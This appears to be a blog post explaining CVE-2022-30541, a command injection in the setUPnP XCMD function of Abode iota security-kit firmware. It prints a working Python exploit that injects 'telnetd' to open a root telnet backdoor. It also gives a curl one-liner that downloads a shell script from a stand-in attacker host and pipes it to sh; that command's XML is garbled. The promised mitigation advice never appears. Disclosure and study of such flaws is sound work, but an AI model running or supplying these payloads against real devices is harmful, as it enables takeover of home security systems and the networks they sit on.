In 2022, a critical security flaw was found in the Abode Systems, Inc. iota All-In-One Security Kit, specifically in firmware versions 6.9X and 6.9Z. This long read covers CVE-2022–30541, focusing on what makes the setUPnP function vulnerable, how it can be exploited, and what you should do to stay safe. We’ll also show actual payloads and explain them in a way that’s easy to understand.
What is Abode iota All-In-One Security Kit?
The Abode iota is a smart home security device combining an HD camera, motion detector, and connectivity to smart devices. Designed to help homeowners by providing wireless security, it’s widely sold and used.
Overview of CVE-2022-30541
CVE-2022-30541 is a severe OS command injection bug in the setUPnP function of the XCMD API. If an attacker sends a crafted XML payload to the device, they can run any command on the device as root. This leaves the whole system, including any network it’s on, at risk.
How Does the Vulnerability Work?
At its heart, the setUPnP command takes user input and pushes it into a system command *without sanitizing it*. This weak coding practice, known as improper input validation, lets attackers insert extra commands.
The device exposes a “hidden” web interface for configuration, using XML payloads.
2. The /action=execute&type=XCMD endpoint processes XCMD "actions."
3. The setUPnP function accepts parameters from the XML, including values that are later used in OS commands.
4. If these parameters include special characters (like ; or &&), the OS will treat the extra content as an additional command!
Example Attack: Code Snippet
To exploit this bug, an attacker sends an HTTP POST request to the iota device’s API endpoint. Here’s a simplified Python example using raw sockets for education purposes:
import requests
url = "http://[ABODE_IP]/action=execute&type=XCMD";
headers = {
"Content-Type": "application/xml"
}
# This will run 'telnetd' on the device to start a remote shell.
xml_payload = '''
<request>
<cmd>setUPnP</cmd>
<param>
<enable>1; telnetd #</enable>
</param>
</request>
'''
response = requests.post(url, headers=headers, data=xml_payload)
if response.status_code == 200:
print("Payload delivered! Check device for telnet access.")
else:
print(f"Failed. HTTP code: {response.status_code}")
What’s Happening Here?
- The <enable> tag is supposed to be either “1” (on) or “” (off), but instead the attacker puts: 1; telnetd #
- The semicolon (;) *ends* the intended command, letting the attacker run another (telnetd, which starts a telnet server for remote control).
The device then unknowingly opens a telnet backdoor.
*Note: In real attacks, hackers could insert any command — like stealing files or turning the device into a botnet node!*
`bash
curl -X POST "http://192.168.1.50/action=execute&type=XCMD" \
-H "Content-Type: application/xml" \
-d 'setUPnP1; curl http://attacker.com/shell.sh | sh #'
